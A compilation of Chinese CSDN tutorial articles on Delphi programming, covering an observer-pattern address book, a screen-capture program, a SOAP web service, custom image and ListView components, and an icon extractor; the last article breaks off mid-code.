我建议将其继承于TDataModule, 简单地说，创建一个数据模块，将其命名为TAddrBook.

仔细想想， 可能会发现仅仅这样，还有些地方不尽如人意，
在这个地址簿系统运行时，产生了一个TForm1类实例（暂称其Form1)
和一个TAddrBook类实例(暂称其AddrBook)，它们之间通讯
是单向的，也就是说Form1知道AddrBook，而AddrBook不知道Form1,
Form1必需知道AddrBook是显而易见的，而AddrBook需要知道Form1吗？
这个嘛。。。。有点不大好说。。。至少有一个地方可能会需要的吧，
就是AddrBook记录改变的时候，得叫Form一声“喂，FORM，我变了”，
不过仅仅这样看来，它还是似乎可有可无，Form1可以主动去查询AddrBook的状态。

再多想想， 如果另建了一个实例TForm2类呢？ 或者是一个TForm1的多个类实例呢？
这样有两个以上的FORM都要去显示AddrBook，那情况会是怎么样？
说得实际些，比如说FORM1是个LISTVIEW显示，
而FORM2是个DETAIL显示与编辑， 在FORM1中选了另一个人，FORM2显然必须得相应的
变化，直接由FORM1通知FORM2吗？ 这不是个好主意。
如果这样，独立自在的FORM，本来只需要知道AddrBook，还得知道其它的FORM，FORM的数量越多，
越有扯不清的关系。增加删除一个FORM还得看其它的FORM的脸色行事，NO，这样不爽！
那好吧， 就决定让AddrBook知道有哪些FORM在用它吧，然后在必要的时候通知大家自己状态变了，
再来读自己一次。
具体实现的方法很多， 我是比较喜欢用TList,
首先，TAddrBook的私有成员中加一个
private
FViewerList:TList;//用来保存使用TAddrBookr的FORM
...
然后，加上这几个方法。。
public
...
procedure AddViewer(form:TForm); //用AddrBook的FORM登个记
procedure RemoveViewer(form:TForm); //注销这个FORM的登记
procedure TellAllViewer(); //通知所有登记过的FORM

...

procedure TAddrBook.AddViewer(form: TForm);
begin
FViewerList.Add(form);
end;
procedure Tfrm_Navigate.RemoveViewer(form: TForm);
begin
FViewerList.Remove(form);
end;
下面是通知所有使用TAddrBook的FORM， 有很多种方法的，
我这儿采用的是发送消息的方法，
已经自定义了一个消息
。。。
MY_ADDRBOOK_MSG =WM_USER+100;
。。。

procedure TAddrBook.TellAllViewer;//告诉所有的FORM‘喂，都该起来做事了’
var
i:integer;
begin
for i := 0 to FViewerList.Count-1 do
begin
postMessage(
TForm( FViewerList.Items[i] ).Handle,
MY_ADDRBOOK_MSG,
0 , //这儿两个参数可以用来区分你发出通知的种类，
0 //不主张用它们来直接传数据回FORM，
//而是在通知让FORM来取数据
);

end;
end;

而在TFORM1中，加入消息处理方法。

TForm1 = class(TForm)
...
public
procedure AddrBookNotify(var Message: TMessage); message MY_ADDRBOOK_MSG;
...

procedure TForm1.AddrBookNotify(var Message: TMessage);
begin

//在这里面重新读出AddrBook的信息，
//当然， 视你消息的分类，还可以处理得更细一些

end;

AddrBook中的方法进行改变数据状态的行为后，需要FORM相应改变显示或其它类似的操作时，
就调用TellAllViewer方法。

罗里罗嗦，终于说得差不多了， 真累，
如果知道设计模式的朋友， 一眼就可以知道这是观察者模式， 也就是VC应用程序框架中
所采用的Doc /View 模式， 就一两句话可以搞定。

之所以在标题上加了一个‘之一’， 是因为还有很多值得进一步思考的东西，
如果有必要， 我，或者其它有兴趣的朋友， 可以继续探讨，加上之二，之三。

halfdream(哈欠）halfdream@sina.com
2000。7。15


CSDN_文档中心_一 个 实 用 的Delphi 屏 幕 拷 贝 程 序 的 设

一 个 实 用 的Delphi 屏 幕 拷 贝 程 序 的 设 计

宁 波 市 游 河 巷 贾 学 杰

---- Borland 公 司（ 现 改 名 为INPRISE 公 司） 的DELPHI 是 当 前 最 为 方 便 的Windows 程 序 设
计 工 具 之 一。 许 多 人 以 为DELPHI 是 作 为 数 据 库 开 发 工 具 出 现 的， 其 实 用DELPHI
可 以 以 极 快 的 速 度 开 发 出 高 效 的Windows 程 序。

---- 现 在 我 们 就 用DELPHI 来 编 写 一 个 实 用 的 屏 幕 拷 贝 程 序。 瞧 瞧， 下 面 的 画 面
就 是 所 编 程 序 运 行 后 进 行 区 域 屏 幕 拷 贝 的 例 子， 还 不 错 吧 ！

---- Borland 公 司 的 天 才 设 计 师 们 用 画 布（Tcanvas） 对 象 封 装 了Windows 的 大 部 分 图 形
输 出 功 能， 这 使 得 我 们 可 以 通 过 他 以 更 直 观 的 方 式 和Windows 的 屏 幕 打 交 道，
而 不 必 关 心 令 人 头 疼 的Windows API 函 数。 下 面 的 一 小 段 程 序 就 可 以 实 现 整 个
屏 幕 的 图 象 拷 贝 了。

  var     //变量声明
  Fullscreen:Tbitmap;
  FullscreenCanvas:TCanvas;
  dc:HDC;
  //------------------------------------------------------------
  DC := GetDC (0);      //取得屏幕的 DC，参数0指的是屏幕
  FullscreenCanvas := TCanvas.Create;    //创建一个CANVAS对象
  FullscreenCanvas.Handle := DC;        //将屏幕的DC赋给HANDLE
  Fullscreen.Canvas.CopyRect
  (Rect (0, 0, screen.Width,screen.Height),
  fullscreenCanvas,
  Rect (0, 0, Screen.Width, Screen.Height));
                            //把整个屏幕复制到BITMAP中
  FullscreenCanvas.Free;          //释放CANVAS对象
  ReleaseDC (0, DC);              //释放DC
  //SCREEN对象是DELPHI预先定义的屏幕对象，直接使用就行了。

---- 看 了 以 上 代 码， 你 就 会 发 现 用DELPHI 写 屏 幕 拷 贝 程 序 的 确 很 简 单。

---- 当 然 要 写 一 个 实 用 的 屏 幕 拷 贝 程 序， 光 靠 上 述 代 码 是 不 够 的， 下 面 讲 一
下 主 要 的 编 程 思 路：

---- 1. 全 屏 幕 拷 贝 的 实 现

---- 首 先 隐 藏 拷 屏 程 序， 延 长 一 定 时 间 后， 利 用 上 述 的 程 序 即 可 实 现 屏 幕 的
拷 贝。

---- 2. 区 域 拷 贝 的 实 现

---- 要 实 现 区 域 拷 贝 要 用 个 小 技 巧， 首 先 调 用 全 屏 幕 拷 贝 程 序 把 整 个 屏 幕 拷
贝 下 来， 然 后 把 拷 贝 下 来 的 图 象 显 示 在 屏 幕 上， 之 后 就 可 以 让 用 户 在 上 面
选 择 需 要 的 区 域， 最 后 才 将 用 户 选 定 的 区 域 复 制 下 来。

---- 编 程 实 现：

---- 1. 首 先 用DELPHI3 开 一 个 工 程。

---- 2. 在FORM 上 放 置 一 个TPANEL 元 件， 设 置ALIGN=ALTOP， 再 选 部 件 条ADDITIONAL 上
的TSCROLLBOX， 放 到FORM 上， 设 置ALIGN=ALCLIENT， 然 后 在SCROLLBOX 上 放 置 一 个
TIMAGE 对 象。

---- 3. 在PANEL 上 放 置4 个 按 钮， 分 别 为FULL SCREEN，REGIN，SAVE，EXIT。

---- 4. 容 易 干 的 先 干， 在EXIT 按 钮 的CLICK 事 件 里 写 下 代 码

procedure TForm1.ExitClick(Sender: TObject);
begin
    close;
end;

---- 5. 接 着 是 实 现 全 屏 幕 拷 贝 了， 在FROM 上 放 置 一 个 记 时 器TTIMER，ENABLED 设 为
FALSE，INTERVAL 设 为500， 也 就 是 半 秒 钟 激 活 一 次。 双 击TIMER 部 件， 写 上 如 下 的
代 码。

procedure TForm1.Timer1Timer(Sender: TObject);
var
 Fullscreen:Tbitmap;
 FullscreenCanvas:TCanvas;
 dc:HDC;
begin
    timer1.Enabled:=false;   //取消时钟
    Fullscreen := TBitmap.Create;      //创建一个BITMAP来存放图象
    Fullscreen.Width := screen.width;
    Fullscreen.Height := screen.Height;
    DC := GetDC (0);   //取得屏幕的 DC，参数0指的是屏幕
    FullscreenCanvas := TCanvas.Create; //创建一个CANVAS对象
    FullscreenCanvas.Handle := DC;

Fullscreen.Canvas.CopyRect
(Rect (0, 0, screen.Width, screen.Height), fullscreenCanvas,
Rect (0, 0, Screen.Width, Screen.Height));
            //把整个屏幕复制到BITMAP中
    FullscreenCanvas.Free;          //释放CANVAS对象
    ReleaseDC (0, DC);              //释放DC
    //*******************************
    image1.picture.Bitmap:=fullscreen;//拷贝下的图象赋给IMAGE对象
    image1.Width:=fullscreen.Width;
    image1.Height:=fullscreen.Height;
    fullscreen.free;                //释放bitmap
    form1.WindowState:=wsNormal;    //复原窗口状态
    form1.show;                     //显示窗口
    messagebeep(1);  //BEEP叫一声，报告图象已经截取好了。
end;

---- 6. 接 下 去FULLSCREEN 按 钮 上 的 代 码 就 很 简 单 了。

procedure TForm1.FullscreenClick(Sender: TObject);
begin
    form1.WindowState:=wsMinimized; //最小化程序窗口
    form1.hide;                     //把程序藏起来
    timer1.enabled:=true;           //打开记时器
end;

---- 7. 拷 贝 到 了 图 象 当 然 要 存 起 来 了，SAVE 按 钮 就 有 了 用 武 之 地， 我 们 写 下 如
下 代 码。

procedure TForm1.Save1Click(Sender: TObject);
begin
  if savedialog1.Execute then
    begin
     form1.Image1.Picture.SaveToFile(savedialog1.filename)
    end;
end;

---- 8. 下 面 是 区 域 拷 贝 的 实 现。 再New 一 个FORM,BorderStype 设 为 bsNone, 这 样 能 够 显 示
为 全 屏 幕， 上 面 放 置 一 个TIMAGE 部 件，ALIGN 设 为ALCLIENT， 另 外 放 置 一 个TTIMER
部 件，TIMER 部 件 的 程 序 跟 上 面 的 很 象， 因 为 它 首 先 要 实 现 的 是 全 屏 幕 的 拷
贝。

procedure TForm2.Timer1Timer(Sender: TObject);
var
 Fullscreen:Tbitmap;
 FullscreenCanvas:TCanvas;
 dc:HDC;
begin
    timer1.Enabled:=false;
    Fullscreen := TBitmap.Create;
    Fullscreen.Width := screen.width;
    Fullscreen.Height := screen.Height;
    DC := GetDC (0);
    FullscreenCanvas := TCanvas.Create;
    FullscreenCanvas.Handle := DC;
Fullscreen.Canvas.CopyRect (Rect
(0, 0, screen.Width, screen.Height), fullscreenCanvas,
     Rect (0, 0, Screen.Width, Screen.Height));
    FullscreenCanvas.Free;
    ReleaseDC (0, DC);
    image1.picture.Bitmap:=fullscreen;
    image1.Width:=fullscreen.Width;
    image1.Height:=fullscreen.Height;
    fullscreen.free;
    form2.WindowState:=wsMaximized;
    form2.show;

    messagebeep(1);
    foldx:=-1;
    foldy:=-1;
    image1.Canvas.Pen.mode:=pmnot; //笔的模式为取反
    image1.canvas.pen.color:=clblack; //笔为黑色
    image1.canvas.brush.Style:=bsclear; //空白刷子
    flag:=true;
end;

---- 9.TIMAGE 部 件 上 有 两 个 事 件 的 程 序 需 要 编 写， 一 个 是ONMOUSEDOWN， 另 一 个
是ONMOUSEMOVE。

---- 10. 可 以 回 头 看 看 区 域 拷 贝 的 思 路， 此 时 需 要 作 区 域 拷 贝 的 屏 幕 我 们 已 经
得 到， 也 显 示 在 屏 幕 上 了， 按 下 鼠 标 左 键 是 区 域 的 原 点， 此 后 移 动 鼠 标， 将
有 一 个 矩 形 在 原 点 和 鼠 标 之 间， 它 会 随 着 鼠 标 的 移 动 而 变 化， 再 次 按 下 鼠
标 的 左 键， 此 时 矩 形 所 包 含 的 区 域 就 是 我 们 要 得 到 的 图 象 了。

---- 11. 所 以MOUSEDOWN 有 两 次 响 应 的 处 理， 见 以 下 程 序。

procedure TForm2.Image1MouseDown
(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
var
 width,height:integer;
 newbitmap:Tbitmap;
begin
  if (trace=false) then  // TRACE表示是否在追踪鼠标
   begin      //首次点击鼠标左键，开始追踪鼠标。
      flag:=false;
   with image1.canvas do
      begin
        moveTo(foldx,0);
        LineTo(foldx,screen.height);
        moveto(0,foldy);
        lineto(screen.width,foldy);
      end;
   x1:=x;
   y1:=y;
   oldx:=x;
   oldy:=y;
   trace:=true;
   image1.Canvas.Pen.mode:=pmnot;     //笔的模式为取反
        //这样再在原处画一遍矩形，相当于擦除矩形。
   image1.canvas.pen.color:=clblack;  //笔为黑色
   image1.canvas.brush.Style:=bsclear;//空白刷子
   end
  else
   begin       //第二次点击，表示已经得到矩形了，
               //把它拷贝到FORM1中的IMAGE部件上。
    x2:=x;
    y2:=y;
    trace:=false;
    image1.canvas.rectangle(x1,y1,oldx,oldy);
    width:=abs(x2-x1);
    height:=abs(y2-y1);
    form1.image1.Width:=Width;
    form1.image1.Height:=Height;

    newbitmap:=Tbitmap.create;
    newbitmap.width:=width;
    newbitmap.height:=height;
newbitmap.Canvas.CopyRect
(Rect (0, 0, width, Height),form2.image1.canvas,
     Rect (x1, y1,x2,y2)); //拷贝
    form1.image1.picture.bitmap:=newbitmap; //放到FORM的IMAGE上
    newbitmap.free;
    form2.hide;
    form1.show;
  end;
end;

---- 12.MOUSEMOVE 的 处 理 就 是 在 原 点 和 鼠 标 当 前 位 置 之 间 不 断 地 画 矩 形 和 擦
除 矩 形。

procedure TForm2.Image1MouseMove
(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
 if trace=true then   //是否在追踪鼠标？
    begin             //是，擦除旧的矩形并画上新的矩形
     with image1.canvas do
      begin
       rectangle(x1,y1,oldx,oldy);
       Rectangle(x1,y1,x,y);
       oldx:=x;
       oldy:=y;
      end;
    end
  else if flag=true then  //在鼠标所在的位置上画十字
      begin
       with image1.canvas do
        begin
        moveTo(foldx,0);          //擦除旧的十字
        LineTo(foldx,screen.height);
        moveto(0,foldy);
        lineto(screen.width,foldy);
        moveTo(x,0);              //画上新的十字
        LineTo(x,screen.height);
        moveto(0,y);
        lineto(screen.width,y);
        foldx:=x;
        foldy:=y;
        end;
      end;
end;

---- 13. 好 了， 让 我 们 回 过 头 来 编 写REGION 按 钮 的 代 码。

procedure TForm1.RegionClick(Sender: TObject);
begin
 form1.Hide;
 form2.hide;
 form2.Timer1.Enabled:=true;
end;

---- 好 了， 我 们 终 于 胜 利 完 工 了， 赶 快 运 行 一 遍， 把 漂 亮 的 屏 幕 拷 下 来 ！ 瞧
DELPHI 不 仅 是 一 个 优 秀 的 数 据 库 开 发 工 具， 而 且 是 一 个 优 秀 的 编 写WINDOWS
程 序 的 好 帮 手。 让 我 们 不 禁 赞 叹： 伟 大 的DELPHI ！


CSDN_文档中心_一步一步用Delphi6实现Web Service

本文介绍的是如何用Delphi6开发Web Service程序，并把服务程序放在IIS Web服务器上提供给各种客户程序调用。

一编写服务程序

第一步：File----->New----->Other------>WebServices----->Soap Server Application

选择ISAPI/NSAPI Dynamic Link Library然后确定。生成一个框架。后面的大部分原代码都需要自己手工添加

第二步：定义一个接口单元。先通过向导生成一个空的单元文件，然后在此单元中实现基本的接口（Iinvokable）和定义以后客户端程序可以调用的方法，原代码如下：

unit unit1;
interface
uses InvokeRegistry;//基本的结构和方法的定义都在此单元中，必须引用
type
IWebTest=interface(Iinvokable)//自定义的一个结构，继承自Iinvokable
['{A436B0D2-D490-4C80-820A-355D979E8704}']//通过Ctrl+Shift+G生成的一个GUID
function gettext():widestring;stdcall;//自定义的一个方法，也是以后客户可以调用的方法
end;
implementation

initialization//初始化
InvRegistry.RegisterInterface(Typeinfo(IWebTest));//通过此方法来注册接口
end.

第三步：实现第二步中所定义的接口和方法。先通过向导生成一个空的单元文件，然后定义自定义接口（IWebtest）的实现类。原代码如下：

unit Unit2;

interface
uses InvokeRegistry,Unit1;//引用自定义的接口单元
type
TWebTest=class(TInvokableClass,IWebTest)//定义实现类，此类必须继承自TInvokableClass，并实现自定义接口
protected
function gettext():widestring;stdcall;//申明在自定义接口中所定义的方法
end;
implementation

{ Test }
procedure createwebtest(out obj:tobject);//此过程为创建类实例，必须手工添加
begin
obj:=TWebTest.Create;//创建类实例
end;
function TWebTest.gettext: widestring;//实现自定义方法
begin
Result:='Success';
end;
initialization//初始化
InvRegistry.RegisterInvokableClass(TWebTest,createwebtest);//注册自定义类
end.

第四步：编译整个应用程序，即产生一个*.dll的程序，把此程序拷贝到IIS的Cgi-bin目录下（或者其他可执行的目录，要根据自己的目录来选择），然后即可通过以下方式的链接访问到Wsdl：http://192.168.1.222/cgi-bin/*.dll/wsdl访问到以XML方式编码的Wsdl文件了，这就是客户端程序调用需要的文件。其中*.dll为你自己的应用程序的名字。192.168.1.222为你的Web服务器地址。Cgi-bin为你的Web服务器的可以执行Cgi程序的目录名称。

二编写客户程序：

第一步：新建一个Application。

第二步：File----->New----->Other------>WebServices----->Soap Services Importer

然后在Wsdl or Xml Schema Location中填入：http://192.168.1.222/cgi-bin/*.dll/wsdl/IWebTest，然后确定即生成了一个新的接口定义单元。

第二步：在主form上放上一个按钮和一个Httprio组件（在WebServices页上），并引用第二个单元（即通过Soap Services Importer自动生成的单元）

在Httprio的属性页上的WsdlLocation里面填上http://192.168.1.222/cgi-bin/*.dll/wsdl/IWebTest；然后在Httprio属性页上的Port和Service上选择上相应的数据即可。

第三步：书写客户调用程序，原代码如下：

procedure TForm1.Button1Click(Sender: TObject);
var
testobj:IWebTest;//定义对象
begin
testobj:=Httprio1 as IWebTest;//创建对象
showmessage(testobj.gettext);//调用方法
end;

以上是一个简单的例子，有兴趣的可以和我讨论。以上的例子还用java客户调用通过。我的邮箱是coala@21cn.com


CSDN_文档中心_一个超链接Image控件！（For D3,D4,D5,D6)源代码

unit HImage;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls;

type
THImage = class(TGraphicControl)
private
{ Private declarations }
FPictureNormal:TPicture;
FPictureHot:TPicture;
FPicture:TPicture;
FOnProgress: TProgressEvent;
FStretch: Boolean;
FCenter: Boolean;
FIncrementalDisplay: Boolean;
FTransparent: Boolean;
FDrawing: Boolean;
function GetCanvas: TCanvas;
procedure PictureChanged(Sender: TObject);
procedure SetCenter(Value: Boolean);
procedure SetStretch(Value: Boolean);
procedure SetTransparent(Value: Boolean);
procedure CMMouseEnter(var Message: TMessage); message CM_MOUSEENTER;
procedure CMMouseLeave(var Message:TMessage); message CM_MOUSELEAVE;
procedure SetPictureNormal(value:TPicture);
procedure SetPictureHot(value:TPicture);
procedure SetPicture(value:Tpicture);
protected
{ Protected declarations }
function CanAutoSize(var NewWidth, NewHeight: Integer): Boolean; override;
function DestRect: TRect;
function DoPaletteChange: Boolean;
function GetPalette: HPALETTE; override;
procedure Paint; override;
procedure Progress(Sender: TObject; Stage: TProgressStage;
PercentDone: Byte; RedrawNow: Boolean; const R: TRect; const Msg: string); dynamic;
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
property Picture:TPicture read FPicture write SetPicture;
property Canvas: TCanvas read GetCanvas;
published
{ Published declarations }
property Align;
property Anchors;
property AutoSize;
property Center: Boolean read FCenter write SetCenter default False;
property Constraints;
property DragCursor;
property DragKind;
property DragMode;
property Enabled;
property IncrementalDisplay: Boolean read FIncrementalDisplay write FIncrementalDisplay default False;
property ParentShowHint;
property PopupMenu;
property ShowHint;
property Stretch: Boolean read FStretch write SetStretch default False;
property Transparent: Boolean read FTransparent write SetTransparent default False;
property Visible;
property OnClick;
// property OnContextPopup;
property OnDblClick;
property OnDragDrop;
property OnDragOver;
property OnEndDock;
property OnEndDrag;
property OnMouseDown;
property OnMouseMove;
property OnMouseUp;
property OnProgress: TProgressEvent read FOnProgress write FOnProgress;
property OnStartDock;
property OnStartDrag;
property PictureNormal:TPicture read FPictureNormal Write SetPictureNormal;
property PictureHot:TPicture read FPictureHot Write SetPictureHot;
end;

procedure Register;

implementation

constructor THImage.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
ControlStyle := ControlStyle + [csReplicatable];
FPictureNormal := TPicture.Create;
FPictureHot := TPicture.Create;
FPicture := TPicture.Create;
FPicture.OnChange := PictureChanged;
FPicture.OnProgress := Progress;
Height := 105;
Width := 105;
end;

destructor THImage.Destroy;
begin
FPicture.Free;
inherited Destroy;
end;

function THImage.GetPalette: HPALETTE;
begin
Result := 0;
if FPicture.Graphic <> nil then
Result := FPicture.Graphic.Palette;
end;

procedure THImage.SetPictureNormal(value:TPicture);
begin
FPictureNormal.Assign(value);
FPicture.Assign(value);
end;

procedure THImage.SetPictureHot(value:TPicture);
begin
FPictureHot.Assign(value);
end;

function THImage.DestRect: TRect;
begin
if Stretch then
Result := ClientRect
else if Center then
Result := Bounds((Width - Picture.Width) div 2, (Height - Picture.Height) div 2,
Picture.Width, Picture.Height)
else
Result := Rect(0, 0, Picture.Width, Picture.Height);
end;

procedure THImage.Paint;
var
Save: Boolean;
begin
if csDesigning in ComponentState then
with inherited Canvas do
begin
Pen.Style := psDash;
Brush.Style := bsClear;
Rectangle(0, 0, Width, Height);
end;
Save := FDrawing;
FDrawing := True;
try
with inherited Canvas do
StretchDraw(DestRect, Picture.Graphic);
finally
FDrawing := Save;
end;
end;

function THImage.DoPaletteChange: Boolean;
var
ParentForm: TCustomForm;
Tmp: TGraphic;
begin
Result := False;
Tmp := Picture.Graphic;
if Visible and (not (csLoading in ComponentState)) and (Tmp <> nil) and
(Tmp.PaletteModified) then
begin
if (Tmp.Palette = 0) then
Tmp.PaletteModified := False
else
begin
ParentForm := GetParentForm(Self);
if Assigned(ParentForm) and ParentForm.Active and Parentform.HandleAllocated then
begin
if FDrawing then
ParentForm.Perform(wm_QueryNewPalette, 0, 0)
else
PostMessage(ParentForm.Handle, wm_QueryNewPalette, 0, 0);
Result := True;
Tmp.PaletteModified := False;
end;
end;
end;
end;

procedure THImage.Progress(Sender: TObject; Stage: TProgressStage;
PercentDone: Byte; RedrawNow: Boolean; const R: TRect; const Msg: string);
begin
if FIncrementalDisplay and RedrawNow then
begin
if DoPaletteChange then Update
else Paint;
end;
if Assigned(FOnProgress) then FOnProgress(Sender, Stage, PercentDone, RedrawNow, R, Msg);
end;

function THImage.GetCanvas: TCanvas;
var
Bitmap: TBitmap;
begin
if Picture.Graphic = nil then
begin
Bitmap := TBitmap.Create;
try
Bitmap.Width := Width;
Bitmap.Height := Height;
Picture.Graphic := Bitmap;
finally
Bitmap.Free;
end;
end;
if Picture.Graphic is TBitmap then
Result := TBitmap(Picture.Graphic).Canvas;

end;

procedure THImage.SetCenter(Value: Boolean);
begin
if FCenter <> Value then
begin
FCenter := Value;
PictureChanged(Self);
end;
end;

procedure THImage.SetPicture(Value: TPicture);
begin
FPicture.Assign(Value);
end;

procedure THImage.SetStretch(Value: Boolean);
begin
if Value <> FStretch then
begin
FStretch := Value;
PictureChanged(Self);
end;
end;

procedure THImage.SetTransparent(Value: Boolean);
begin
if Value <> FTransparent then
begin
FTransparent := Value;
PictureChanged(Self);
end;
end;

procedure THImage.PictureChanged(Sender: TObject);
var
G: TGraphic;
begin
if AutoSize and (Picture.Width > 0) and (Picture.Height > 0) then
SetBounds(Left, Top, Picture.Width, Picture.Height);
G := Picture.Graphic;
if G <> nil then
begin
if not ((G is TMetaFile) or (G is TIcon)) then
G.Transparent := FTransparent;
if (not G.Transparent) and (Stretch or (G.Width >= Width)
and (G.Height >= Height)) then
ControlStyle := ControlStyle + [csOpaque]
else
ControlStyle := ControlStyle - [csOpaque];
if DoPaletteChange and FDrawing then Update;
end
else ControlStyle := ControlStyle - [csOpaque];
if not FDrawing then Invalidate;
end;

function THImage.CanAutoSize(var NewWidth, NewHeight: Integer): Boolean;
begin
Result := True;
if not (csDesigning in ComponentState) or (Picture.Width > 0) and
(Picture.Height > 0) then
begin
if Align in [alNone, alLeft, alRight] then
NewWidth := Picture.Width;
if Align in [alNone, alTop, alBottom] then
NewHeight := Picture.Height;
end;
end;

procedure THImage.CMMouseLeave(var Message:TMessage);
begin
inherited;
if FPicture<>FPictureNormal then
Picture.Assign(FPictureNormal);
end;

procedure THImage.CMMouseEnter(var Message: TMessage);
begin
inherited;
if FPicture<>FPictureHot then
Picture.Assign(FPictureHot);
end;

procedure Register;
begin
RegisterComponents('Lee', [THImage]);
end;

end.


CSDN_文档中心_一个从EXE、DLL文件中提取、存取图标完整程序

作为一名程序员，会经常为制作、设计程序图标费尽心思，当我们看到许多应用软件的图标非常漂亮的时候，是多么的羡慕！我们可不可以借鉴一下他们的图标？完全可以！我们利用 ExtractIcon API函数就能够轻松地从ICO文件或可执行文件以及DLL文件中提取图标。

下面的代码示范了一个完整的提取图标、存储图标的程序：
unit UFormIconGrabber;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls, ShellAPI, ExtDlgs;
type
TForm1 = class(TForm)
Image1: TImage;
btNextIcon: TButton;
Label1: TLabel;
EditFileName: TEdit;
btBowserFile: TButton;
OpenDialog1: TOpenDialog;
btSaveIco: TButton;
SavePictureDialog1: TSavePictureDialog;
btPrevirousIcon: TButton;
procedure btNextIconClick(Sender: TObject);
procedure btBowserFileClick(Sender: TObject);
procedure btSaveIcoClick(Sender: TObject);
procedure btPrevirousIconClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
Procedure MoveIconIndex(Const OperateString:String);
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.MoveIconIndex(Const OperateString:String);
const
I : Integer = 0;
FileName : String = '';
var
Count : Integer;
begin
if( FileName <> EditFileName.Text ) then
begin
FileName := EditFileName.Text;
I := 0;
end
else
if OperateString='MoveNextIcon' then
Inc(I)
else
begin
if I>0 then
dec(I);
end;
//得到总的图标数目
Count := ExtractIcon( Application.Handle, PChar(FileName),$FFFFFFFF);
if( I < Count ) then
Image1.Picture.Icon.Handle :=
ExtractIcon( Application.Handle, PChar(FileName), I ) // I为图标的索引
else
ShowMessage('此文件没有更多的图标资源！' );
end;
procedure TForm1.btNextIconClick(Sender: TObject);
begin
MoveIconIndex('MoveNextIcon');
end;
procedure TForm1.btBowserFileClick(Sender: TObject);
begin
try
OpenDialog1.Title:='选择EXE文件或DLL文件：';
OpenDialog1.Filter:='提取文件(*.EXE;*.DLL;*.ICO)|*.DLL;*.EXE;*.ICO|All files (*.*)|*.*';
OpenDialog1.FilterIndex:=1;
if OpenDialog1.Execute then
EditFileName.Text :=OpenDialog1.FileName;
MoveIconIndex('MoveNextIcon');
except
exit;
end;

end;

procedure TForm1.btSaveIcoClick(Sender: TObject);
begin
SavePictureDialog1.DefaultExt := GraphicExtension(TIcon);
SavePictureDialog1.Filter := GraphicFilter(TIcon);
if SavePictureDialog1.Execute then
image1.Picture.SaveToFile(SavePictureDialog1.FileName);
end;
procedure TForm1.btPrevirousIconClick(Sender: TObject);
begin
MoveIconIndex('MovePrevIcon');
end;
end.
OK!，这样我们使用TImage.Picture.SaveToFile方法就可以很容易地将图标保存到单独的文件中，然后再利用Image Editor作适量的修改即可！


CSDN_文档中心_一个功能增强的Delphi TListView组件

一个功能增强的Delphi TListView组件
lixif
www.netgocn.com

在Windoes编程中列表视图(ListView)是一个通用控件，当将其样式设为Report时，系统将自动为它加上一个表头控件（以下简称表头），但通常我们不能直接对这个表头控件进行操作。同样Delphi的TListView组件也没有为我们提供可以直接对该表头进行控制的方法，这篇文章介绍一种通过自定义组件的方法，对Delphi的TListView组件进行功能增强，做一个通用的列表视图但是它增加了以下功能：

1) 增加一个可以从外部调用的排序方法，当视图的显示样式为Report时，点击各列的表头按钮可按其列值进行排序；

2) 点击各列的表头按钮进行排序的同时在视图的表头上按排序方向绘制一个箭头，其效果类似Outlook Express；

3) 增加视图表头的字体属性；

4) 增加一个背景图属性。

通过代码编写增强了Delphi通用列表视图的功能，但它仍是一个通用的列表视图控件。

自定义组件的基本步骤请参见有关文章，但是在此我们选择的基类是TListView，下面我们直接从Delphi自动生成的组件单元文件的数据类型定义部份开始（本文代码在Delphi 4.0下完成)。

一、将Delphi自动生成的单元文件的数据类型定义部份修改为：

type

TListView1 = class(TListView)

private

FaToz :Boolean;

FoldCol :Integer;

FPicture :TPicture;

FHeaderFont:TFont;

procedure SetHeaderFont(Value:TFont);

procedure SetHeaderStyle(phd:PHDNotify);

procedure DrawHeaderItem(pDS:PDrawItemStruct);

procedure SetPicture(Value: TPicture);

procedure PictureChanged(Sender: TObject);

procedure LVCustomDraw(Sender:TCustomListView;const ARect:TRect;var DefaultDraw:Boolean);

procedure DrawBack;

protected

procedure WndProc(var Message : TMessage); override;

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

procedure SortColumn(Column: TListColumn);

published

property BackPicture: TPicture read FPicture write SetPicture;

property HeaderFont: TFont read FHeaderFont write SetHeaderFont;

end;

说明：

a). 在published段我们定义了两个属性。背景图属性BackPicture，其数据类型是TPicture；表头字体属性HeaderFont，其数据类型是Tfont；

b). 为了读/写BackPicture属性的值，在private段分别定义了它的私有数据FPicture和属性的写方法SetPicture；同理，在private段为HeaderFontn属性分别定义了它的私有数据FHeaderFont和属性的写方法SetHeaderFont；

c). 在public段重载了TListView的构造函数和析构函数；

d). 在 protected段重载了TListView的WndProc过程；

e). 为了能在设计期间动态改变视图的背景图，我们自定义了二个事件响应过程，PictureChanged和LVCustomDraw。PictureChanged是背景图属性BackPicture的私有数据FPicture（TPicture）的OnChange事件响应过程，设计期间当我们通过Delphi的Object Inspector面板改变BackPicture的值时，将产生OnChang事件而执行该过程重绘列表视图（过程就是这样写的），这又将产生视图的OnCustomDraw事件而执行我们自定义的LVCustomDraw事件响应过程，也即LVCustomDraw是列表视图的OnCustomDraw事件响应过程；

f). 在protected段重载的WndProc过程用于捕获Windows消息，它是我们完成这个自定义列表视图的核心所在，所需捕获的消息和作用在下面的代码中以注释的形式给出。

g). 我们必须手工在单元文件的uses子句后加上CommCtrl。

二、编写控件的过程体

Delphi自动生成的 procedure Register可以不理它。我们在它的过程体之后，在end.(注意符号“.”)之前手工加上以下代码，完成我们在上面定义的全部过程的过程体编写（这里我们没有定义有函数原型）：

//============== 构造函数 ===================================

constructor TListView1.Create(AOwner: TComponent);

begin

inherited Create(AOwner);//继承

FHeaderFont:=TFont.Create;

FPicture:=TPicture.Create;

FPicture.OnChange:=PictureChanged;

OnCustomDraw:=LVCustomDraw;

end;

//============== 析构函数 ===================================

destructor TListView1.Destroy;

begin

FPicture.Free;

FHeaderFont.Free;

inherited Destroy;//继承

end;

//============== 设置表头字体 ===============================

procedure TListView1.SetHeaderFont(Value:TFont);

begin

//转换表头字体设置，将值给FHeaderFomt私有数据域，并重绘表头区域

